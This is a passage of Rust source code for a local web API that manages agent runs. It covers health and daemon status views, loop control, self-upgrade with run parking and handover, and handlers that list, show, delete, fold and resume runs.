1716 asset(&headers, "text/css; charset=utf-8", APP_CSS)
1717}
1718
1719async fn app_js(headers: header::HeaderMap) -> Response {
1720 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1721}
1722
1723#[derive(Debug, Serialize)]
1725struct HealthView {
1726 version: &'static str,
1727 home: String,
1728 queue_rev: u64,
1729 runs_rev: u64,
1730 questions_rev: u64,
1742 talks_rev: u64,
1744 notifications_rev: u64,
1746 notifications_unread: usize,
1749 loop_rev: u64,
1754 runs_unreadable: usize,
1762 disk: DiskView,
1770 questions_open: usize,
1776 questions_needs_owner: usize,
1786 daemon: DaemonView,
1787 #[serde(rename = "loop")]
1793 looping: LoopView,
1794 update: UpdateView,
1801 upgrade: Option<UpgradeProgressView>,
1805}
1806
1807#[derive(Debug, Serialize)]
1814struct UpdateView {
1815 available: bool,
1817 to: Option<String>,
1819}
1820
1821#[derive(Debug, Serialize)]
1823struct UpgradeProgressView {
1824 stage: updater::Stage,
1825 from: String,
1826 to: Option<String>,
1827 waiting_on: Option<String>,
1830 started_at: Timestamp,
1831 updated_at: Timestamp,
1832 detail: Option<String>,
1833 stuck_for_secs: Option<i64>,
1836 stuck_kind: Option<updater::StallKind>,
1839 handover_alive: bool,
1842}
1843
1844fn should_spawn_recheck(cfg: &Update) -> bool {
1851 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
1852}
1853
1854fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
1866 if progress.is_some_and(|p| !p.stage.terminal()) {
1867 return false;
1868 }
1869 checker.should_check()
1870}
1871
1872fn recheck_poll_period(cfg: &Update) -> Duration {
1885 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
1886}
1887
1888async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
1912 loop {
1913 let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
1914 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
1915 if !should_spawn_recheck(&cfg.update) {
1916 continue;
1917 }
1918 let Some(checker) = updater::Checker::new(&cfg.update) else {
1919 continue;
1920 };
1921 let progress = updater::read_progress(&home);
1922 if !update_recheck_due(&checker, progress.as_ref()) {
1923 continue;
1924 }
1925 if let Err(e) = checker.newer_release().await {
1926 tracing::warn!("background update recheck failed: {e:#}");
1927 }
1928 }
1929}
1930
1931fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
1937 let default;
1938 let cfg = match cfg {
1939 Some(cfg) => cfg,
1940 None => {
1941 default = Config::default();
1942 &default
1943 }
1944 };
1945 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
1946 match latest {
1947 Some(latest) => UpdateView {
1948 available: true,
1949 to: Some(latest.tag_name),
1950 },
1951 None => UpdateView {
1952 available: false,
1953 to: None,
1954 },
1955 }
1956}
1957
1958fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
1964 let now = Timestamp::now();
1965 let lease = updater::read_lease(&ui.home);
1966 let alive = updater::live_lease(&progress, lease.as_ref(), now);
1967 let run_id = alive
1968 .and_then(|l| l.parked_run.as_deref())
1969 .or(progress.parked_run.as_deref());
1970 let waiting_on = (progress.stage == updater::Stage::Parking)
1971 .then_some(run_id)
1972 .flatten()
1973 .map(|id| {
1974 let waited = alive.map_or_else(String::new, |l| {
1975 let secs = updater::waited_secs(l, now);
1976 format!(" (waited {} min so far)", secs / 60)
1977 });
1978 match read_run(&ui.runs, id).ok() {
1979 Some(run) => format!(
1980 "run {} is finishing {} before the address is handed over{waited}",
1981 run.short(),
1982 run.status.as_str()
1983 ),
1984 None => format!("run {id} is finishing before the address is handed over{waited}"),
1985 }
1986 });
1987 let detail = progress
1988 .detail
1989 .clone()
1990 .or_else(|| updater::read_note(&ui.home, &progress));
1991 let stalled = updater::stall(&progress, lease.as_ref(), now);
1992 let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
1993 UpgradeProgressView {
1994 stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
1995 stuck_kind: stalled.map(|s| s.kind),
1996 handover_alive: alive.is_some(),
1997 stage: progress.stage,
1998 from: progress.from,
1999 to: progress.to,
2000 waiting_on,
2001 started_at: progress.started_at,
2002 updated_at: progress.updated_at,
2003 detail,
2004 }
2005}
2006
2007#[derive(Debug, Serialize)]
2012struct DiskView {
2013 #[serde(skip_serializing_if = "Option::is_none")]
2015 free_bytes: Option<u64>,
2016 runs_bytes: u64,
2018 worktrees_bytes: u64,
2020 #[serde(skip_serializing_if = "Option::is_none")]
2022 cache_bytes: Option<u64>,
2023}
2024
2025impl DiskView {
2026 fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2028 let cache_bytes = cfg
2029 .and_then(|cfg| cfg.cache_dir())
2030 .map(|dir| crate::disk::dir_size(&dir));
2031 Self {
2032 free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
2033 runs_bytes: crate::disk::dir_size(&ui.runs),
2034 worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
2035 cache_bytes,
2036 }
2037 }
2038}
2039
2040#[derive(Debug, Serialize)]
2042struct DaemonView {
2043 running: bool,
2044 idle: Option<bool>,
2045 pid: Option<u32>,
2046 current: Vec<daemon::Current>,
2050 completed: Option<u64>,
2051 stale_for_secs: Option<i64>,
2052}
2053
2054impl DaemonView {
2055 fn of(status: Option<daemon::Reading>) -> Self {
2059 let Some(status) = status else {
2060 return Self {
2061 running: false,
2062 idle: None,
2063 pid: None,
2064 current: Vec::new(),
2065 completed: None,
2066 stale_for_secs: None,
2067 };
2068 };
2069 let now = Timestamp::now();
2070 let age = status.age_secs(now);
2071 Self {
2072 running: status.running(now),
2073 idle: Some(status.idle),
2074 pid: status.pid,
2075 current: status.current,
2076 completed: Some(status.completed),
2077 stale_for_secs: age,
2078 }
2079 }
2080}
2081
2082async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
2083 blocking(move || {
2084 let reading = daemon::read_status(&ui.home);
2088 let loop_rev = ui.lock_loop().rev;
2092 let cfg = deputy_config(&ui.repo);
2095 let update = cached_update_view(cfg.as_ref());
2096 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
2097 Ok(Json(HealthView {
2098 version: env!("CARGO_PKG_VERSION"),
2099 home: ui.home.display().to_string(),
2100 queue_rev: stamps_revision(&store_stamps(ui.queue.root(), false)),
2101 runs_rev: runs_revision(&ui.runs),
2102 questions_rev: ui.questions.revision(),
2103 talks_rev: stamps_revision(&store_stamps(ui.talks.root(), false)),
2104 notifications_rev: ui.notices.revision(),
2105 notifications_unread: ui.notices.count_unread(),
2106 loop_rev,
2107 runs_unreadable: runs_unreadable(&ui.runs),
2108 questions_open: ui.questions.count_open(),
2109 questions_needs_owner: ui.questions.count_needs_owner(),
2110 daemon: DaemonView::of(reading.clone()),
2111 looping: ui.loop_view(reading),
2112 disk: DiskView::of(&ui, cfg.as_ref()),
2113 update,
2114 upgrade,
2115 }))
2116 })
2117 .await
2118}
2119
2120#[derive(Debug, Serialize)]
2122struct LoopView {
2123 running: bool,
2125 stopping: bool,
2133 parking: bool,
2141 owned: bool,
2149 repo: String,
2152 merge: Option<String>,
2155 last_error: Option<String>,
2163 daemon: DaemonView,
2166}
2167
2168#[derive(Debug, Clone, Copy)]
2177struct Foreign {
2178 pid: Option<u32>,
2180}
2181
2182impl Foreign {
2183 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2186 daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2190 }
2191
2192 fn who(&self) -> String {
2195 match self.pid {
2196 Some(pid) => format!("another magi process (pid {pid})"),
2197 None => "another magi process".to_owned(),
2198 }
2199 }
2200}
2201
2202type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2207
2208fn launch_daemon(
2210 opts: daemon::Opts,
2211 stop: daemon::Stop,
2212) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2213 Box::pin(daemon::serve_until(opts, stop))
2214}
2215
2216#[derive(Debug, Default)]
2218struct LoopState {
2219 live: Option<Live>,
2221 rev: u64,
2229 last_error: Option<String>,
2232 resume_after_handover: bool,
2237}
2238
2239#[derive(Debug)]
2241struct Live {
2242 stop: daemon::Stop,
2244 handle: tokio::task::JoinHandle<()>,
2249 opts: daemon::Opts,
2253}
2254
2255impl Live {
2256 fn alive(&self) -> bool {
2258 !self.handle.is_finished()
2259 }
2260}
2261
2262fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2269 state.lock().unwrap_or_else(PoisonError::into_inner)
2270}
2271
2272async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2274 blocking(move || {
2275 let reading = daemon::read_status(&ui.home);
2276 Ok(Json(ui.loop_view(reading)))
2277 })
2278 .await
2279}
2280
2281#[derive(Debug, Deserialize)]
2287#[serde(deny_unknown_fields)]
2288struct LoopCommand {
2289 running: bool,
2290 #[serde(default)]
2300 park: bool,
2301}
2302
2303async fn loop_post(
2311 State(ui): State<Arc<Ui>>,
2312 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2313) -> ApiResult<Json<LoopView>> {
2314 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2317 blocking(move || {
2318 let reading = daemon::read_status(&ui.home);
2319 let foreign = Foreign::of(reading.as_ref());
2320 if body.running {
2321 ui.start_loop(foreign)?;
2322 } else {
2323 ui.stop_loop(foreign, body.park)?;
2324 }
2325 Ok(Json(ui.loop_view(reading)))
2326 })
2327 .await
2328}
2329
2330#[derive(Debug, Serialize)]
2332struct UpgradeView {
2333 from: String,
2335 to: Option<String>,
2337 parked: Option<String>,
2339 detail: String,
2341}
2342
2343async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2367 let reading = daemon::read_status(&ui.home);
2368 if let Some(other) = Foreign::of(reading.as_ref()) {
2369 return Err(ApiError::conflict(format!(
2370 "the loop belongs to {}, so replacing this binary would leave \
2371 that process running an old one against the same queue. Upgrade \
2372 where it was started.",
2373 other.who()
2374 )));
2375 }
2376
2377 if crate::updater::disabled_by_env() {
2383 return Ok((
2384 StatusCode::OK,
2385 Json(UpgradeView {
2386 from: env!("CARGO_PKG_VERSION").to_owned(),
2387 to: None,
2388 parked: None,
2389 detail: format!(
2390 "Automatic updates are disabled by {}. Nothing was parked \
2391 and nothing restarted.",
2392 crate::updater::NO_AUTOUPDATE_ENV
2393 ),
2394 }),
2395 ));
2396 }
2397
2398 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2403 let from = env!("CARGO_PKG_VERSION").to_owned();
2404 let latest = match crate::updater::Checker::new(&cfg.update) {
2405 Some(checker) => checker
2406 .newer_release()
2407 .await
2408 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2409 None => None,
2410 };
2411 let Some(latest) = latest else {
2412 return Ok((
2413 StatusCode::OK,
2414 Json(UpgradeView {
2415 from,
2416 to: None,
2417 parked: None,
2418 detail: "Already on the newest release. Nothing was parked \
2419 and nothing restarted."
2420 .to_owned(),
2421 }),
2422 ));
2423 };
2424
2425 let parked = ui.park_for_upgrade()?;
2428 let detail = match &parked {
2429 Some(run) => format!(
2434 "Run {} is parking at its next step, which can take as long as \
2435 the step it is on - up to an hour for an implement wave. The \
2436 deck replaces itself once it parks, comes back, and the loop \
2437 carries that run on from where it stopped. Nothing is lost if \
2438 you close this.",
2439 crate::run::short_of(run)
2440 ),
2441 None => "The deck replaces itself and comes back. Nothing was in \
2442 flight to park."
2443 .to_owned(),
2444 };
2445
2446 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2450 progress.parked_run = parked.clone();
2451 let _ = updater::write_progress(&ui.home, &progress);
2452
2453 let home = ui.home.clone();
2454 let looping = ui.looping();
2455 tokio::spawn(async move {
2456 if let Err(e) = upgrade_and_restart(home.clone()).await {
2457 tracing::error!("the upgrade did not complete: {e:#}");
2458 lock_or_recover(&looping).resume_after_handover = false;
2459 let _ = updater::fail_progress(&home, &format!("{e:#}"));
2463 }
2464 });
2465
2466 Ok((
2467 StatusCode::ACCEPTED,
2468 Json(UpgradeView {
2469 from,
2470 to: Some(latest.tag_name),
2471 parked,
2472 detail,
2473 }),
2474 ))
2475}
2476
2477async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2482 crate::updater::run_self_update(true, false, true).await?;
2485 updater::log_step(&home, "binary replaced - recording the replaced stage");
2486 if let Some(mut progress) = updater::read_progress(&home) {
2487 progress.advance(updater::Stage::Replaced);
2488 updater::write_progress_logged(&home, &progress);
2489 }
2490 updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
2491 HANDOVER.notify_one();
2492 updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
2493 Ok(())
2494}
2495
2496#[derive(Debug, Serialize)]
2502struct RunSummary {
2503 id: String,
2504 short: String,
2505 status: String,
2506 done: bool,
2507 instruction: String,
2508 title: String,
2509 repo: String,
2510 repo_name: String,
2511 created_at: String,
2512 updated_at: String,
2513 candidates: usize,
2514 viable: usize,
2515 judges: usize,
2516 winner: Option<char>,
2517 reviews: usize,
2518 quota_losses: usize,
2519 event: Option<String>,
2520 superseded_by: Option<String>,
2525 waiting: bool,
2532 live: crate::run::Liveness,
2536 pr: Option<crate::run::PrRecord>,
2538 unmerged_by_design: bool,
2544 origin_label: String,
2547}
2548
2549impl RunSummary {
2550 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2551 Self {
2552 id: state.id.clone(),
2553 short: state.short().to_owned(),
2554 status: status_word(state.status),
2555 done: state.status.done(),
2556 unmerged_by_design: state.unmerged_by_design(),
2557 instruction: state.instruction.clone(),
2558 title: title_from(&state.instruction, TITLE_MAX),
2559 repo: state.repo.display().to_string(),
2560 repo_name: state
2561 .repo
2562 .file_name()
2563 .map(|n| n.to_string_lossy().into_owned())
2564 .unwrap_or_default(),
2565 created_at: state.created_at.to_string(),
2566 updated_at: state.updated_at.to_string(),
2567 candidates: state.candidates.len(),
2568 viable: state.viable().len(),
2569 judges: state.config.graph.judges,
2570 winner: state.winner().map(|c| c.label),
2571 reviews: state.reviews.len(),
2572 quota_losses: state.quota.len(),
2573 event: state.events.last().map(|e| e.message.clone()),
2574 waiting,
2575 live,
2576 superseded_by: None,
2579 pr: state.pr.clone(),
2580 origin_label: crate::run::origin_label(state.origin.as_ref()),
2581 }
2582 }
2583}
2584
2585fn status_word(status: RunStatus) -> String {
2588 status.as_str().to_owned()
2592}
2593
2594#[derive(Debug, Deserialize)]
2596struct ListQuery {
2597 #[serde(default)]
2598 limit: Option<usize>,
2599 ids: Option<String>,
2601}
2602
2603impl ListQuery {
2604 fn contains(&self, id: &str) -> bool {
2605 self.ids
2606 .as_ref()
2607 .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
2608 }
2609}
2610
2611async fn runs_list(
2612 State(ui): State<Arc<Ui>>,
2613 Query(q): Query<ListQuery>,
2614) -> ApiResult<Json<Vec<RunSummary>>> {
2615 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2616 blocking(move || {
2617 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
2618 let states = run_ids(&ui.runs)
2619 .into_iter()
2620 .filter_map(|id| read_run(&ui.runs, &id).ok())
2625 .take(limit)
2626 .filter(|run| q.contains(&run.id));
2627 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2628 let summaries = summarize(
2629 states,
2630 &open_runs,
2631 &claimed,
2632 &superseded,
2633 |p| probe.borrow_mut().status(p),
2634 |p| probe.borrow_mut().started_at(p),
2635 );
2636 Ok(Json(summaries))
2637 })
2638 .await
2639}
2640
2641fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
2646 let open_runs: HashSet<String> = ui
2647 .questions
2648 .list()
2649 .into_iter()
2650 .filter(|q| q.status.open())
2651 .map(|q| q.run)
2652 .collect();
2653 let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2654 .into_iter()
2655 .map(|c| c.run)
2656 .collect();
2657 (open_runs, claimed, ui.queue.superseded())
2658}
2659
2660fn summarize<I, S, D>(
2666 states: I,
2667 open_runs: &HashSet<String>,
2668 claimed: &HashSet<String>,
2669 superseded: &HashMap<String, String>,
2670 mut status_q: S,
2671 mut identity_q: D,
2672) -> Vec<RunSummary>
2673where
2674 I: IntoIterator<Item = RunState>,
2675 S: FnMut(u32) -> Option<bool>,
2676 D: FnMut(u32) -> Option<String>,
2677{
2678 states
2679 .into_iter()
2680 .map(|state| {
2681 let waiting = open_runs.contains(&state.id);
2682 let live =
2683 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2684 let mut row = RunSummary::of(&state, waiting, live);
2685 row.superseded_by = superseded
2686 .get(&state.id)
2687 .map(String::as_str)
2688 .map(crate::run::short_of)
2689 .map(str::to_owned);
2690 row
2691 })
2692 .collect()
2693}
2694
2695#[derive(Debug, Serialize)]
2702struct RunDetailView {
2703 #[serde(flatten)]
2704 state: RunState,
2705 instruction_md: Vec<md::Node>,
2706 #[serde(flatten)]
2710 prose_md: RunProseMd,
2711 live: crate::run::Liveness,
2726 unmerged_by_design: bool,
2731 done: bool,
2736 superseded_by: Option<String>,
2744 latest_attempt: Option<LatestAttempt>,
2758 task: Option<TaskRef>,
2761 origin_label: String,
2765}
2766
2767#[derive(Debug, Serialize)]
2769struct TaskRef {
2770 id: String,
2771 short: String,
2772 title: String,
2773 source_label: String,
2775 source_link: Option<SourceLink>,
2777 status: &'static str,
2779 attempts: usize,
2780 max_attempts: usize,
2781 is_latest: bool,
2783 latest: Option<RunBrief>,
2785 finished_by: Option<RunBrief>,
2787 closed_by_hand: bool,
2789}
2790
2791#[derive(Debug, PartialEq, Eq, Serialize)]
2793struct SourceLink {
2794 kind: &'static str,
2796 id: String,
2798 href: String,
2800}
2801
2802fn encode_segment(raw: &str) -> String {
2804 let mut out = String::with_capacity(raw.len());
2805 for b in raw.bytes() {
2806 if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
2807 out.push(b as char);
2808 } else {
2809 out.push_str(&format!("%{b:02X}"));
2810 }
2811 }
2812 out
2813}
2814
2815fn source_link(source: &Source) -> Option<SourceLink> {
2819 let Source::Agent { run, node } = source else {
2820 return None;
2821 };
2822 let (kind, route) = if node == crate::queue::CHAT_NODE {
2823 ("chat", "chat")
2824 } else {
2825 ("run", "runs")
2826 };
2827 Some(SourceLink {
2828 kind,
2829 id: run.clone(),
2830 href: format!("#/{route}/{}", encode_segment(run)),
2831 })
2832}
2833
2834#[derive(Debug, Serialize)]
2836struct RunBrief {
2837 id: String,
2838 short: String,
2839 status: Option<&'static str>,
2841 outcome: String,
2843}
2844
2845fn task_outcome(
2848 task: &Task,
2849 this_run: &str,
2850 max_attempts: usize,
2851 read: impl Fn(&str) -> Option<RunState>,
2852) -> TaskRef {
2853 let history = task_history(task, read);
2854 let brief = |h: &TaskRunView| RunBrief {
2855 id: h.id.clone(),
2856 short: h.short.clone(),
2857 status: h.status,
2858 outcome: h.exit.edge_label(h.status),
2859 };
2860 let is_latest = task.runs.last().is_none_or(|r| r == this_run);
2861 let latest = if is_latest {
2862 None
2863 } else {
2864 history.last().map(brief)
2865 };
2866 let done = task.status == TaskStatus::Done;
2867 let finished_by = done
2868 .then(|| {
2869 history
2870 .iter()
2871 .rev()
2872 .find(|h| {
2873 matches!(
2874 h.exit,
2875 RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
2876 )
2877 })
2878 .map(brief)
2879 })
2880 .flatten();
2881 TaskRef {
2882 short: task.short().to_owned(),
2883 title: task.title.clone(),
2884 id: task.id.clone(),
2885 source_label: task.source.label(),
2886 source_link: source_link(&task.source),
2887 status: task.status.as_str(),
2888 attempts: task.attempts,
2889 max_attempts,
2890 is_latest,
2891 latest,
2892 closed_by_hand: done && finished_by.is_none(),
2893 finished_by,
2894 }
2895}
2896
2897#[derive(Debug, Serialize)]
2899struct LatestAttempt {
2900 id: String,
2901 short: String,
2902 resolved: bool,
2913 status: RunStatus,
2916 done: bool,
2918}
2919
2920#[derive(Debug, Default, Serialize)]
2922struct RunProseMd {
2923 advice_md: Option<AdviceMd>,
2925 candidate_summaries_md: Vec<Vec<md::Node>>,
2927 reviews_md: Vec<RoundMd>,
2929}
2930
2931#[derive(Debug, Default, Serialize)]
2932struct AdviceMd {
2933 synthesis: Vec<md::Node>,
2934 approaches: Vec<Vec<md::Node>>,
2936}
2937
2938#[derive(Debug, Default, Serialize)]
2939struct RoundMd {
2940 reviewers: Vec<ReviewerMd>,
2942 reconsideration: Vec<Vec<md::Node>>,
2944 fix: Option<FixMd>,
2945}
2946
2947#[derive(Debug, Default, Serialize)]
2948struct ReviewerMd {
2949 summary: Vec<md::Node>,
2950 findings: Vec<Vec<md::Node>>,
2952}
2953
2954#[derive(Debug, Default, Serialize)]
2955struct FixMd {
2956 notes: Vec<md::Node>,
2957 rejected: Vec<Vec<md::Node>>,
2959}
2960
2961fn run_prose_md(state: &RunState) -> RunProseMd {
2963 let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
2964 RunProseMd {
2965 advice_md: state.advice.as_ref().map(|a| AdviceMd {
2966 synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
2967 approaches: a
2968 .records
2969 .iter()
2970 .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
2971 .collect(),
2972 }),
2973 candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
2974 reviews_md: state
2975 .reviews
2976 .iter()
2977 .map(|round| RoundMd {
2978 reviewers: round
2979 .reviews
2980 .iter()
2981 .map(|rec| ReviewerMd {
2982 summary: nodes(&rec.summary),
2983 findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
2984 })
2985 .collect(),
2986 reconsideration: round
2987 .reconsideration
2988 .iter()
2989 .map(|rv| nodes(&rv.reason))
2990 .collect(),
2991 fix: round.fix.as_ref().map(|fix| FixMd {
2992 notes: nodes(&fix.notes),
2993 rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
2994 }),
2995 })
2996 .collect(),
2997 }
2998}
2999
3000impl RunDetailView {
3001 fn of(
3002 state: RunState,
3003 live: crate::run::Liveness,
3004 superseded_by: Option<String>,
3005 latest_attempt: Option<LatestAttempt>,
3006 task: Option<TaskRef>,
3007 ) -> Self {
3008 Self {
3009 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
3010 prose_md: run_prose_md(&state),
3011 origin_label: crate::run::origin_label(state.origin.as_ref()),
3012 live,
3013 unmerged_by_design: state.unmerged_by_design(),
3014 done: state.status.done(),
3015 superseded_by,
3016 latest_attempt,
3017 task,
3018 state,
3019 }
3020 }
3021}
3022
3023async fn run_detail(
3024 State(ui): State<Arc<Ui>>,
3025 Path(id): Path<String>,
3026) -> ApiResult<Json<RunDetailView>> {
3027 blocking(move || {
3028 let id = resolve_run(&ui.runs, &id)?;
3029 let state = read_run(&ui.runs, &id)?;
3030 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3031 let live = state.liveness(daemon_claims);
3032 let superseded_by = ui
3033 .queue
3034 .superseded_by(&id)
3035 .as_deref()
3036 .map(crate::run::short_of)
3037 .map(str::to_owned);
3038 let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
3042 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
3043 short: head.short().to_owned(),
3044 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
3045 status: head.status,
3046 done: head.status.done(),
3047 id: head.id,
3048 })
3049 });
3050 let max_attempts = daemon::Opts::default().max_attempts;
3051 let task = ui
3052 .queue
3053 .list()
3054 .into_iter()
3055 .find(|t| t.runs.contains(&id))
3056 .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
3057 Ok(Json(RunDetailView::of(
3058 state,
3059 live,
3060 superseded_by,
3061 latest_attempt,
3062 task,
3063 )))
3064 })
3065 .await
3066}
3067
3068async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3077 let (id, unreadable) = {
3078 let ui = Arc::clone(&ui);
3079 blocking(move || {
3080 let id = resolve_run(&ui.runs, &id)?;
3081 match read_run(&ui.runs, &id) {
3082 Ok(state) => {
3083 let in_flight =
3084 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3085 state
3086 .ensure_can_delete(in_flight)
3087 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3088 let dir = ui.runs.join(&id);
3089 std::fs::remove_dir_all(&dir)
3090 .with_context(|| format!("remove run directory {}", dir.display()))?;
3091 Ok((id, false))
3092 }
3093 Err(_) => {
3094 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3098 return Err(ApiError::conflict(format!(
3099 "run {id} is being worked on by a live daemon right now"
3100 )));
3101 }
3102 Ok((id, true))
3103 }
3104 }
3105 })
3106 .await?
3107 };
3108 if unreadable {
3109 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3110 .await
3111 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3112 }
3113 let ui = Arc::clone(&ui);
3114 let done = id.clone();
3115 blocking(move || {
3116 ui.questions.abandon_for_run(
3119 &done,
3120 &format!("run {done} was deleted, so nothing is waiting for this answer"),
3121 )?;
3122 Ok(())
3123 })
3124 .await?;
3125 Ok(StatusCode::NO_CONTENT)
3126}
3127
3128async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
3152 let (id, state) = {
3153 let ui = Arc::clone(&ui);
3154 blocking(move || {
3155 let id = resolve_run(&ui.runs, &id)?;
3156 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3157 return Err(ApiError::conflict(format!(
3158 "run {id} is being worked on by a live daemon right now"
3159 )));
3160 }
3161 let state = read_run(&ui.runs, &id).ok();
3162 Ok((id, state))
3163 })
3164 .await?
3165 };
3166 let removed = match state {
3167 Some(mut state) => {
3168 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3169 .await
3170 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3171 if removed.is_empty() {
3176 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
3177 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3178 }
3179 removed
3180 }
3181 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3182 .await
3183 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
3184 };
3185 Ok(Json(FoldView {
3186 run: id,
3187 removed_count: removed.len(),
3188 removed,
3189 }))
3190}
3191
3192#[derive(Debug, Serialize)]
3194struct FoldView {
3195 run: String,
3196 removed: Vec<String>,
3198 removed_count: usize,
3199}
3200
3201#[derive(Debug, Deserialize)]
3204struct FoldMergedBody {
3205 #[serde(default)]
3206 pr_url: String,
3207}
3208
3209async fn run_fold_merged(
3229 State(ui): State<Arc<Ui>>,
3230 Path(id): Path<String>,
3231 Json(body): Json<FoldMergedBody>,
3232) -> ApiResult<Json<FoldMergedView>> {
3233 let pr_url = body.pr_url.trim().to_owned();
3234 if pr_url.is_empty() {
3235 return Err(ApiError::bad_request("pr_url is required"));
3236 }
3237 let (id, mut state) = {
3238 let ui = Arc::clone(&ui);
3239 blocking(move || {
3240 let id = resolve_run(&ui.runs, &id)?;
3241 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3242 return Err(ApiError::conflict(format!(
3243 "run {id} is being worked on by a live daemon right now"
3244 )));
3245 }
3246 let state = read_run(&ui.runs, &id)?;
3247 Ok((id, state))
3248 })
3249 .await?
3250 };
3251 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
3252 .await
3253 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3254 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3255 .await
3256 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3257 Ok(Json(FoldMergedView {
3258 run: id,
3259 before: before.as_str().to_owned(),
3260 after: after.as_str().to_owned(),
3261 removed,
3262 }))
3263}
3264
3265#[derive(Debug, Serialize)]
3267struct FoldMergedView {
3268 run: String,
3269 before: String,
3271 after: String,
3273 removed: Vec<String>,
3275}
3276
3277async fn run_resume(
3297 State(ui): State<Arc<Ui>>,
3298 Path(id): Path<String>,
3299) -> ApiResult<(StatusCode, Json<RunSummary>)> {
3300 let (id, state) = {
3301 let ui = Arc::clone(&ui);
3302 blocking(move || {
3303 let id = resolve_run(&ui.runs, &id)?;
3304 let state = read_run(&ui.runs, &id)?;
3305 Ok((id, state))
3306 })
3307 .await?
3308 };
3309 if let Some(to) = &state.released_to {
3310 return Err(ApiError::conflict(format!(
3311 "run {} can no longer be resumed: its worktree was released to run {}, which \
3312 took the branch over.",
3313 state.short(),
3314 crate::run::short_of(to)
3315 )));
3316 }
3317 if !state.status.resumable() {
3318 return Err(ApiError::conflict(format!(
3319 "run {} is `{}`, and only a stalled or blocked run can be resumed",
3320 state.short(),
3321 status_word(state.status)
3322 )));
3323 }
3324 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3329 .into_iter()
3330 .next()
3331 {
3332 return Err(ApiError::conflict(format!(
3333 "the loop is running run {} right now; stop it first, or wait for \
3334 it to finish, before resuming a run by hand.",
